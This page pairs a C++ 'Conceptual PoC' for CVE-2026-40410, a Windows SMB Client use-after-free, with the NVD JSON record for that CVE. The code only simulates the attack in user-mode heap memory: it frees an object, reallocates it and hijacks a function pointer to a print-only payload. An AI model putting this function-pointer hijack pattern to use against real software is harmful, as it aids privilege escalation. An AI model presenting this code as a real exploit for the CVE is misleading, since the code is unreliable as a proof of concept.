CVE-2026-40410

// Conceptual PoC for CVE-2026-40410 (Windows SMB Client UAF) // This code simulates the logic of a Use-After-Free vulnerability. #include <windows.h> #include <iostream> // Simulate the vulnerable kernel object structure typedef struct _VULN_CONTEXT { ULONG_PTR Signature; VOID (*ExecuteCallback)(LPVOID); LPVOID BufferPtr; } VULN_CONTEXT, *PVULN_CONTEXT; // Malicious payload to execute after UAF void MaliciousPayload(LPVOID param) { std::cout << "[+] Exploit Triggered: Executing code with elevated privileges." << std::endl; // In a real scenario, this would point to Token stealing code (e.g., StealNTLM) } int main() { std::cout << "[*] Initializing PoC for CVE-2026-40410..." << std::endl; // Step 1: Allocate the vulnerable object (Simulating SMB Client Context) PVULN_CONTEXT pContext = (PVULN_CONTEXT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(VULN_CONTEXT)); if (!pContext) { std::cerr << "[-] Allocation failed." << std::endl; return 1; } pContext->Signature = 0x43455645; // 'CVE' pContext->ExecuteCallback = [](LPVOID) { std::cout << "[Normal Operation]" << std::endl; }; std::cout << "[*] Object allocated at: " << std::hex << pContext << std::endl; // Step 2: Trigger the 'Free' operation (Vulnerability Trigger) // The SMB Client driver frees the object due to a crafted packet or state change HeapFree(GetProcessHeap(), 0, pContext); std::cout << "[*] Object freed (Use-After-Free condition created)." << std::endl; // Step 3: Heap Spray / Reallocation to control the freed memory // Attacker tries to allocate memory at the same location PVULN_CONTEXT pControlledContext = (PVULN_CONTEXT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(VULN_CONTEXT)); // If reallocation succeeds at the same address (or close), we forge the content if (pControlledContext == pContext) { std::cout << "[*] Successfully reallocated memory at the same address." << std::endl; pControlledContext->Signature = 0x43455645; pControlledContext->ExecuteCallback = MaliciousPayload; // Hijack the function pointer } else { // Fallback for demonstration purposes if address doesn't match exactly std::cout << "[*] Reallocation at different address (simulating control)." << std::endl; // In a real exploit, we would spray the heap heavily to ensure collision pControlledContext->ExecuteCallback = MaliciousPayload; } // Step 4: Trigger the 'Use' operation (The Crash/Exploit) // The SMB Client driver attempts to use the freed pointer if (pContext->Signature == 0x43455645) { std::cout << "[*] Triggering callback on freed object..." << std::endl; pContext->ExecuteCallback(NULL); } return 0; }

{"cve": {"id": "CVE-2026-40410", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:18.990", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows SMB Client allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410", "source": "[email protected]"}]}}